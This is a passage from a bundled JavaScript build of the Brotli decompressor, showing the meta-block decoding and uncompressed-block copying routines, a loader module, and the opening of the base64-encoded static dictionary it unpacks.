13027 block_type = ringbuffers[ringbuffer + (indexes[index] - 1 & 1)] + 1;
13028 } else {
13029 block_type = type_code - 2;
13030 }
13031 if (block_type >= max_block_type) {
13032 block_type -= max_block_type;
13033 }
13034 block_types[tree_type] = block_type;
13035 ringbuffers[ringbuffer + (indexes[index] & 1)] = block_type;
13036 ++indexes[index];
13037 }
13038 function CopyUncompressedBlockToOutput(output, len, pos, ringbuffer, ringbuffer_mask, br) {
13039 var rb_size = ringbuffer_mask + 1;
13040 var rb_pos = pos & ringbuffer_mask;
13041 var br_pos = br.pos_ & BrotliBitReader.IBUF_MASK;
13042 var nbytes;
13043 if (len < 8 || br.bit_pos_ + (len << 3) < br.bit_end_pos_) {
13044 while (len-- > 0) {
13045 br.readMoreInput();
13046 ringbuffer[rb_pos++] = br.readBits(8);
13047 if (rb_pos === rb_size) {
13048 output.write(ringbuffer, rb_size);
13049 rb_pos = 0;
13050 }
13051 }
13052 return;
13053 }
13054 if (br.bit_end_pos_ < 32) {
13055 throw new Error(
13056 "[CopyUncompressedBlockToOutput] br.bit_end_pos_ < 32"
13057 );
13058 }
13059 while (br.bit_pos_ < 32) {
13060 ringbuffer[rb_pos] = br.val_ >>> br.bit_pos_;
13061 br.bit_pos_ += 8;
13062 ++rb_pos;
13063 --len;
13064 }
13065 nbytes = br.bit_end_pos_ - br.bit_pos_ >> 3;
13066 if (br_pos + nbytes > BrotliBitReader.IBUF_MASK) {
13067 var tail = BrotliBitReader.IBUF_MASK + 1 - br_pos;
13068 for (var x2 = 0; x2 < tail; x2++)
13069 ringbuffer[rb_pos + x2] = br.buf_[br_pos + x2];
13070 nbytes -= tail;
13071 rb_pos += tail;
13072 len -= tail;
13073 br_pos = 0;
13074 }
13075 for (var x2 = 0; x2 < nbytes; x2++)
13076 ringbuffer[rb_pos + x2] = br.buf_[br_pos + x2];
13077 rb_pos += nbytes;
13078 len -= nbytes;
13079 if (rb_pos >= rb_size) {
13080 output.write(ringbuffer, rb_size);
13081 rb_pos -= rb_size;
13082 for (var x2 = 0; x2 < rb_pos; x2++)
13083 ringbuffer[x2] = ringbuffer[rb_size + x2];
13084 }
13085 while (rb_pos + len >= rb_size) {
13086 nbytes = rb_size - rb_pos;
13087 if (br.input_.read(ringbuffer, rb_pos, nbytes) < nbytes) {
13088 throw new Error(
13089 "[CopyUncompressedBlockToOutput] not enough bytes"
13090 );
13091 }
13092 output.write(ringbuffer, rb_size);
13093 len -= nbytes;
13094 rb_pos = 0;
13095 }
13096 if (br.input_.read(ringbuffer, rb_pos, len) < len) {
13097 throw new Error(
13098 "[CopyUncompressedBlockToOutput] not enough bytes"
13099 );
13100 }
13101 br.reset();
13102 }
13103 function JumpToByteBoundary(br) {
13104 var new_bit_pos = br.bit_pos_ + 7 & ~7;
13105 var pad_bits = br.readBits(new_bit_pos - br.bit_pos_);
13106 return pad_bits == 0;
13107 }
13108 function BrotliDecompressedSize(buffer) {
13109 var input = new BrotliInput(buffer);
13110 var br = new BrotliBitReader(input);
13111 DecodeWindowBits(br);
13112 var out = DecodeMetaBlockLength(br);
13113 return out.meta_block_length;
13114 }
13115 exports2.BrotliDecompressedSize = BrotliDecompressedSize;
13116 function BrotliDecompressBuffer(buffer, output_size) {
13117 var input = new BrotliInput(buffer);
13118 if (output_size == null) {
13119 output_size = BrotliDecompressedSize(buffer);
13120 }
13121 var output_buffer = new Uint8Array(output_size);
13122 var output = new BrotliOutput(output_buffer);
13123 BrotliDecompress(input, output);
13124 if (output.pos < output.buffer.length) {
13125 output.buffer = output.buffer.subarray(
13126 0,
13127 output.pos
13128 );
13129 }
13130 return output.buffer;
13131 }
13132 exports2.BrotliDecompressBuffer = BrotliDecompressBuffer;
13133 function BrotliDecompress(input, output) {
13134 var i2;
13135 var pos = 0;
13136 var input_end = 0;
13137 var window_bits = 0;
13138 var max_backward_distance;
13139 var max_distance = 0;
13140 var ringbuffer_size;
13141 var ringbuffer_mask;
13142 var ringbuffer;
13143 var ringbuffer_end;
13144 var dist_rb = [16, 15, 11, 4];
13145 var dist_rb_idx = 0;
13146 var prev_byte1 = 0;
13147 var prev_byte2 = 0;
13148 var hgroup = [
13149 new HuffmanTreeGroup(0, 0),
13150 new HuffmanTreeGroup(0, 0),
13151 new HuffmanTreeGroup(0, 0)
13152 ];
13153 var block_type_trees;
13154 var block_len_trees;
13155 var br;
13156 var kRingBufferWriteAheadSlack = 128 + BrotliBitReader.READ_SIZE;
13157 br = new BrotliBitReader(input);
13158 window_bits = DecodeWindowBits(br);
13159 max_backward_distance = (1 << window_bits) - 16;
13160 ringbuffer_size = 1 << window_bits;
13161 ringbuffer_mask = ringbuffer_size - 1;
13162 ringbuffer = new Uint8Array(
13163 ringbuffer_size + kRingBufferWriteAheadSlack + BrotliDictionary.maxDictionaryWordLength
13164 );
13165 ringbuffer_end = ringbuffer_size;
13166 block_type_trees = [];
13167 block_len_trees = [];
13168 for (var x2 = 0; x2 < 3 * HUFFMAN_MAX_TABLE_SIZE; x2++) {
13169 block_type_trees[x2] = new HuffmanCode(0, 0);
13170 block_len_trees[x2] = new HuffmanCode(0, 0);
13171 }
13172 while (!input_end) {
13173 var meta_block_remaining_len = 0;
13174 var is_uncompressed;
13175 var block_length = [1 << 28, 1 << 28, 1 << 28];
13176 var block_type = [0];
13177 var num_block_types = [1, 1, 1];
13178 var block_type_rb = [0, 1, 0, 1, 0, 1];
13179 var block_type_rb_index = [0];
13180 var distance_postfix_bits;
13181 var num_direct_distance_codes;
13182 var distance_postfix_mask;
13183 var num_distance_codes;
13184 var context_map = null;
13185 var context_modes = null;
13186 var num_literal_htrees;
13187 var dist_context_map = null;
13188 var num_dist_htrees;
13189 var context_offset = 0;
13190 var context_map_slice = null;
13191 var literal_htree_index = 0;
13192 var dist_context_offset = 0;
13193 var dist_context_map_slice = null;
13194 var dist_htree_index = 0;
13195 var context_lookup_offset1 = 0;
13196 var context_lookup_offset2 = 0;
13197 var context_mode;
13198 var htree_command;
13199 for (i2 = 0; i2 < 3; ++i2) {
13200 hgroup[i2].codes = null;
13201 hgroup[i2].htrees = null;
13202 }
13203 br.readMoreInput();
13204 var _out = DecodeMetaBlockLength(br);
13205 meta_block_remaining_len = _out.meta_block_length;
13206 if (pos + meta_block_remaining_len > output.buffer.length) {
13207 var tmp = new Uint8Array(
13208 pos + meta_block_remaining_len
13209 );
13210 tmp.set(output.buffer);
13211 output.buffer = tmp;
13212 }
13213 input_end = _out.input_end;
13214 is_uncompressed = _out.is_uncompressed;
13215 if (_out.is_metadata) {
13216 JumpToByteBoundary(br);
13217 for (; meta_block_remaining_len > 0; --meta_block_remaining_len) {
13218 br.readMoreInput();
13219 br.readBits(8);
13220 }
13221 continue;
13222 }
13223 if (meta_block_remaining_len === 0) {
13224 continue;
13225 }
13226 if (is_uncompressed) {
13227 br.bit_pos_ = br.bit_pos_ + 7 & ~7;
13228 CopyUncompressedBlockToOutput(
13229 output,
13230 meta_block_remaining_len,
13231 pos,
13232 ringbuffer,
13233 ringbuffer_mask,
13234 br
13235 );
13236 pos += meta_block_remaining_len;
13237 continue;
13238 }
13239 for (i2 = 0; i2 < 3; ++i2) {
13240 num_block_types[i2] = DecodeVarLenUint8(br) + 1;
13241 if (num_block_types[i2] >= 2) {
13242 ReadHuffmanCode(
13243 num_block_types[i2] + 2,
13244 block_type_trees,
13245 i2 * HUFFMAN_MAX_TABLE_SIZE,
13246 br
13247 );
13248 ReadHuffmanCode(
13249 kNumBlockLengthCodes,
13250 block_len_trees,
13251 i2 * HUFFMAN_MAX_TABLE_SIZE,
13252 br
13253 );
13254 block_length[i2] = ReadBlockLength(
13255 block_len_trees,
13256 i2 * HUFFMAN_MAX_TABLE_SIZE,
13257 br
13258 );
13259 block_type_rb_index[i2] = 1;
13260 }
13261 }
13262 br.readMoreInput();
13263 distance_postfix_bits = br.readBits(2);
13264 num_direct_distance_codes = NUM_DISTANCE_SHORT_CODES + (br.readBits(4) << distance_postfix_bits);
13265 distance_postfix_mask = (1 << distance_postfix_bits) - 1;
13266 num_distance_codes = num_direct_distance_codes + (48 << distance_postfix_bits);
13267 context_modes = new Uint8Array(
13268 num_block_types[0]
13269 );
13270 for (i2 = 0; i2 < num_block_types[0]; ++i2) {
13271 br.readMoreInput();
13272 context_modes[i2] = br.readBits(2) << 1;
13273 }
13274 var _o1 = DecodeContextMap(
13275 num_block_types[0] << kLiteralContextBits,
13276 br
13277 );
13278 num_literal_htrees = _o1.num_htrees;
13279 context_map = _o1.context_map;
13280 var _o2 = DecodeContextMap(
13281 num_block_types[2] << kDistanceContextBits,
13282 br
13283 );
13284 num_dist_htrees = _o2.num_htrees;
13285 dist_context_map = _o2.context_map;
13286 hgroup[0] = new HuffmanTreeGroup(
13287 kNumLiteralCodes,
13288 num_literal_htrees
13289 );
13290 hgroup[1] = new HuffmanTreeGroup(
13291 kNumInsertAndCopyCodes,
13292 num_block_types[1]
13293 );
13294 hgroup[2] = new HuffmanTreeGroup(
13295 num_distance_codes,
13296 num_dist_htrees
13297 );
13298 for (i2 = 0; i2 < 3; ++i2) {
13299 hgroup[i2].decode(br);
13300 }
13301 context_map_slice = 0;
13302 dist_context_map_slice = 0;
13303 context_mode = context_modes[block_type[0]];
13304 context_lookup_offset1 = Context.lookupOffsets[context_mode];
13305 context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
13306 htree_command = hgroup[1].htrees[0];
13307 while (meta_block_remaining_len > 0) {
13308 var cmd_code;
13309 var range_idx;
13310 var insert_code;
13311 var copy_code;
13312 var insert_length;
13313 var copy_length;
13314 var distance_code;
13315 var distance;
13316 var context;
13317 var j2;
13318 var copy_dst;
13319 br.readMoreInput();
13320 if (block_length[1] === 0) {
13321 DecodeBlockType(
13322 num_block_types[1],
13323 block_type_trees,
13324 1,
13325 block_type,
13326 block_type_rb,
13327 block_type_rb_index,
13328 br
13329 );
13330 block_length[1] = ReadBlockLength(
13331 block_len_trees,
13332 HUFFMAN_MAX_TABLE_SIZE,
13333 br
13334 );
13335 htree_command = hgroup[1].htrees[block_type[1]];
13336 }
13337 --block_length[1];
13338 cmd_code = ReadSymbol(
13339 hgroup[1].codes,
13340 htree_command,
13341 br
13342 );
13343 range_idx = cmd_code >> 6;
13344 if (range_idx >= 2) {
13345 range_idx -= 2;
13346 distance_code = -1;
13347 } else {
13348 distance_code = 0;
13349 }
13350 insert_code = Prefix.kInsertRangeLut[range_idx] + (cmd_code >> 3 & 7);
13351 copy_code = Prefix.kCopyRangeLut[range_idx] + (cmd_code & 7);
13352 insert_length = Prefix.kInsertLengthPrefixCode[insert_code].offset + br.readBits(
13353 Prefix.kInsertLengthPrefixCode[insert_code].nbits
13354 );
13355 copy_length = Prefix.kCopyLengthPrefixCode[copy_code].offset + br.readBits(
13356 Prefix.kCopyLengthPrefixCode[copy_code].nbits
13357 );
13358 prev_byte1 = ringbuffer[pos - 1 & ringbuffer_mask];
13359 prev_byte2 = ringbuffer[pos - 2 & ringbuffer_mask];
13360 for (j2 = 0; j2 < insert_length; ++j2) {
13361 br.readMoreInput();
13362 if (block_length[0] === 0) {
13363 DecodeBlockType(
13364 num_block_types[0],
13365 block_type_trees,
13366 0,
13367 block_type,
13368 block_type_rb,
13369 block_type_rb_index,
13370 br
13371 );
13372 block_length[0] = ReadBlockLength(
13373 block_len_trees,
13374 0,
13375 br
13376 );
13377 context_offset = block_type[0] << kLiteralContextBits;
13378 context_map_slice = context_offset;
13379 context_mode = context_modes[block_type[0]];
13380 context_lookup_offset1 = Context.lookupOffsets[context_mode];
13381 context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
13382 }
13383 context = Context.lookup[context_lookup_offset1 + prev_byte1] | Context.lookup[context_lookup_offset2 + prev_byte2];
13384 literal_htree_index = context_map[context_map_slice + context];
13385 --block_length[0];
13386 prev_byte2 = prev_byte1;
13387 prev_byte1 = ReadSymbol(
13388 hgroup[0].codes,
13389 hgroup[0].htrees[literal_htree_index],
13390 br
13391 );
13392 ringbuffer[pos & ringbuffer_mask] = prev_byte1;
13393 if ((pos & ringbuffer_mask) === ringbuffer_mask) {
13394 output.write(
13395 ringbuffer,
13396 ringbuffer_size
13397 );
13398 }
13399 ++pos;
13400 }
13401 meta_block_remaining_len -= insert_length;
13402 if (meta_block_remaining_len <= 0) break;
13403 if (distance_code < 0) {
13404 var context;
13405 br.readMoreInput();
13406 if (block_length[2] === 0) {
13407 DecodeBlockType(
13408 num_block_types[2],
13409 block_type_trees,
13410 2,
13411 block_type,
13412 block_type_rb,
13413 block_type_rb_index,
13414 br
13415 );
13416 block_length[2] = ReadBlockLength(
13417 block_len_trees,
13418 2 * HUFFMAN_MAX_TABLE_SIZE,
13419 br
13420 );
13421 dist_context_offset = block_type[2] << kDistanceContextBits;
13422 dist_context_map_slice = dist_context_offset;
13423 }
13424 --block_length[2];
13425 context = (copy_length > 4 ? 3 : copy_length - 2) & 255;
13426 dist_htree_index = dist_context_map[dist_context_map_slice + context];
13427 distance_code = ReadSymbol(
13428 hgroup[2].codes,
13429 hgroup[2].htrees[dist_htree_index],
13430 br
13431 );
13432 if (distance_code >= num_direct_distance_codes) {
13433 var nbits;
13434 var postfix;
13435 var offset;
13436 distance_code -= num_direct_distance_codes;
13437 postfix = distance_code & distance_postfix_mask;
13438 distance_code >>= distance_postfix_bits;
13439 nbits = (distance_code >> 1) + 1;
13440 offset = (2 + (distance_code & 1) << nbits) - 4;
13441 distance_code = num_direct_distance_codes + (offset + br.readBits(nbits) << distance_postfix_bits) + postfix;
13442 }
13443 }
13444 distance = TranslateShortCodes(
13445 distance_code,
13446 dist_rb,
13447 dist_rb_idx
13448 );
13449 if (distance < 0) {
13450 throw new Error(
13451 "[BrotliDecompress] invalid distance"
13452 );
13453 }
13454 if (pos < max_backward_distance && max_distance !== max_backward_distance) {
13455 max_distance = pos;
13456 } else {
13457 max_distance = max_backward_distance;
13458 }
13459 copy_dst = pos & ringbuffer_mask;
13460 if (distance > max_distance) {
13461 if (copy_length >= BrotliDictionary.minDictionaryWordLength && copy_length <= BrotliDictionary.maxDictionaryWordLength) {
13462 var offset = BrotliDictionary.offsetsByLength[copy_length];
13463 var word_id = distance - max_distance - 1;
13464 var shift = BrotliDictionary.sizeBitsByLength[copy_length];
13465 var mask = (1 << shift) - 1;
13466 var word_idx = word_id & mask;
13467 var transform_idx = word_id >> shift;
13468 offset += word_idx * copy_length;
13469 if (transform_idx < Transform.kNumTransforms) {
13470 var len = Transform.transformDictionaryWord(
13471 ringbuffer,
13472 copy_dst,
13473 offset,
13474 copy_length,
13475 transform_idx
13476 );
13477 copy_dst += len;
13478 pos += len;
13479 meta_block_remaining_len -= len;
13480 if (copy_dst >= ringbuffer_end) {
13481 output.write(
13482 ringbuffer,
13483 ringbuffer_size
13484 );
13485 for (var _x24 = 0; _x24 < copy_dst - ringbuffer_end; _x24++)
13486 ringbuffer[_x24] = ringbuffer[ringbuffer_end + _x24];
13487 }
13488 } else {
13489 throw new Error(
13490 "Invalid backward reference. pos: " + pos + " distance: " + distance + " len: " + copy_length + " bytes left: " + meta_block_remaining_len
13491 );
13492 }
13493 } else {
13494 throw new Error(
13495 "Invalid backward reference. pos: " + pos + " distance: " + distance + " len: " + copy_length + " bytes left: " + meta_block_remaining_len
13496 );
13497 }
13498 } else {
13499 if (distance_code > 0) {
13500 dist_rb[dist_rb_idx & 3] = distance;
13501 ++dist_rb_idx;
13502 }
13503 if (copy_length > meta_block_remaining_len) {
13504 throw new Error(
13505 "Invalid backward reference. pos: " + pos + " distance: " + distance + " len: " + copy_length + " bytes left: " + meta_block_remaining_len
13506 );
13507 }
13508 for (j2 = 0; j2 < copy_length; ++j2) {
13509 ringbuffer[pos & ringbuffer_mask] = ringbuffer[pos - distance & ringbuffer_mask];
13510 if ((pos & ringbuffer_mask) === ringbuffer_mask) {
13511 output.write(
13512 ringbuffer,
13513 ringbuffer_size
13514 );
13515 }
13516 ++pos;
13517 --meta_block_remaining_len;
13518 }
13519 }
13520 prev_byte1 = ringbuffer[pos - 1 & ringbuffer_mask];
13521 prev_byte2 = ringbuffer[pos - 2 & ringbuffer_mask];
13522 }
13523 pos &= 1073741823;
13524 }
13525 output.write(ringbuffer, pos & ringbuffer_mask);
13526 }
13527 exports2.BrotliDecompress = BrotliDecompress;
13528 BrotliDictionary.init();
13529 },
13530 {
13531 "./bit_reader": 1,
13532 "./context": 2,
13533 "./dictionary": 6,
13534 "./huffman": 7,
13535 "./prefix": 9,
13536 "./streams": 10,
13537 "./transform": 11
13538 }
13539 ],
13540 4: [
13541 function(require2, module2, exports2) {
13542 var base64 = require2("base64-js");
13543 exports2.init = function() {
13544 var BrotliDecompressBuffer = require2("./decode").BrotliDecompressBuffer;
13545 var compressed = base64.toByteArray(
13546 require2("./dictionary.bin.js")
13547 );
13548 return BrotliDecompressBuffer(compressed);
13549 };
13550 },
13551 { "./decode": 3, "./dictionary.bin.js": 5, "base64-js": 8 }
13552 ],
13553 5: [
13554 function(require2, module2, exports2) {
13555 module2.exports = "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